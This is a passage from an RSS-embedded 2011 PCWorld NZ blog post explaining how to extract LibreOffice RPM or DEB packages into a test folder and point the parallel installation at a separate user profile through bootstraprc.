<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;"><big>cd RPMS </big></td>
<big> </big></tr>
<big> </big>
</tbody><big></big>
</table>
<br>
<small><span style="font-style: italic;"></span></small><br>
<br>
<ol start="4" style="font-weight: bold;">
<li>Do the alternate installation.</li>
</ol>
<div style="margin-left: 40px;">Create a new folder -- let's call it
"test_install" -- and cd into it
...<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;">mkdir test_install<br>
cd test_install<big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<div style="margin-left: 40px;"><small><span style="font-style: italic;"></span></small>Now
run one of the following commands:<br>
<br>
<span style="text-decoration: underline;">RPM packages:</span><br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;">for i in
../*.rpm; do rpm2cpio $i | cpio -id; done<big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<div style="margin-left: 40px;"><small
style="text-decoration: underline;"><span style="font-style: italic;"></span></small><span
style="text-decoration: underline;">DEB packages:</span><br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;">for i in
../*.deb; do dpkg-deb -x $i . ; done<big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<small><span style="font-style: italic;"><br>
</span></small><br>
<ol start="5" style="font-weight: bold;">
<li>Ready to run.</li>
</ol>
<div style="margin-left: 40px;">If you now look inside the test_install
folder, you'll find sub-folders
named <span style="font-weight: bold;">/opt</span>, <span
style="font-weight: bold;">/libreoffice </span>and then the usual
install hierarchy. The
programs are, obviously, in the <span style="font-weight: bold;">/program</span>
folder, and you can start
them from there, create desktop links or add them to your menu as
usual. Or better still, move the whole directory somewhere more
convenient so you can get rid of the installation files.<br>
</div>
<br>
<br>
<ol start="6" style="font-weight: bold;">
<li>(Optional) Change your user profile location.</li>
</ol>
<div style="margin-left: 40px;">For me, the most important part of
LibreOffice is the user profile. It
contains all my localised settings, preferences, macros, spelling
corrections and the like, and is stored in the <span
style="font-weight: bold;">~/.libreoffice/3/user</span>
folder. Note that files and folders prefixed by a "." are noramlly
hidden in Linux -- unless you choose <span style="font-style: italic;">"View
Hidden Files"</span> in your
graphical browser. Note also that the contents of this folder can be
copied to the appropriate place on Windows or Mac systems and all your
personal preferences will travel with you!<br>
</div>
<br>
<div style="margin-left: 40px;">Your new installation will use this
profile by default, so if you're
using an experimental version of LibreOffice, you may not wish to risk
corrupting it.<br>
</div>
<br>
<div style="margin-left: 40px;">In the <span style="font-weight: bold;">/program</span>
folder of your new installation, make the <span
style="font-weight: bold;">bootstraprc</span>
program writeable with the command:<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(255, 255, 204); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;">
chmod +w bootstraprc<big> </big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<small><span style="font-style: italic;"></span></small><br>
<div style="margin-left: 40px;">Now edit it and change the line:<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(238, 238, 238); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace; background-color: rgb(238, 238, 238);">UserInstallation=$SYSUSERCONFIG/.libreoffice/3<big>
</big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<div style="margin-left: 40px;">to whatever you like. A useful
alternative is to use the variable
$ORIGIN ...<br>
</div>
<br>
<table
style="text-align: left; width: 100%; background-color: rgb(238, 238, 238); font-weight: bold; margin-left: 40px;"
border="0" cellpadding="2" cellspacing="2">
<big style="font-family: monospace;"> </big><tbody>
<big style="font-family: monospace;"> </big><tr>
<big style="font-family: monospace;"> </big><td
style="vertical-align: top; font-family: monospace;">UserInstallation=$ORIGIN/..<big>
</big></td>
<big> </big></tr>
<big> </big>
</tbody><big> </big>
</table>
<br>
<div style="margin-left: 40px;">... which will use the <span
style="font-weight: bold;">/user</span> folder in the <span
style="font-weight: bold;">.../test_install/opt/libreoffice3.4/</span>
folder.<br>
</div>
<br>
<br>
You'll find more detailed information -- all with how to perform
parallel installations for Windows and Mac -- in <a
href="http://wiki.documentfoundation.org/Installing_in_parallel">Installing
several
versions of LibreOffice in parallel</a> on the LibreOffice site.<br>
<br>
<small><span style="font-style: italic;"><br>
</span></small><br>
<table style="text-align: left; width: 400px;" border="0"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="vertical-align: top;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/07/hidden_linux_finding_info.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/previous.jpg"
alt="Previous Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
<td style="vertical-align: top;"><br>
</td>
<td style="vertical-align: top; text-align: right;"><a
href="http://blogs.pcworld.co.nz/pcworld/tux-love/2011/09/hidden_linux_images_for_all.html"><img
src="http://blogs.pcworld.co.nz/pcworld/tux-love/next.jpg"
alt="Next Hidden Linux"
style="border: 0px solid ; width: 155px; height: 50px;"></a></td>
</tr>
</tbody>
</table>
<small><span style="font-style: italic;"><br>
<br>
<br>
<br>
<a href="http://www.twitter.com/GeoffPalmer"> <img
style="border: 0px solid ; width: 134px; height: 42px;"
src="http://blogs.pcworld.co.nz/pcworld/tux-love/twitter-kiwi.gif"
alt="Follow Geoff Palmer on Twitter"></a>
</span></small>]]></description>
         <link>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/hidden_linux_multiple_libreoff.html</link>
         <guid>http://blogs.pcworld.co.nz/pcworld/tux-love/2011/08/hidden_linux_multiple_libreoff.html</guid>
         <category>Hidden Linux</category>
         <pubDate>Fri, 19 Aug 2011 08:30:42 +1300</pubDate>
      </item>
      
   </channel>
</rss>
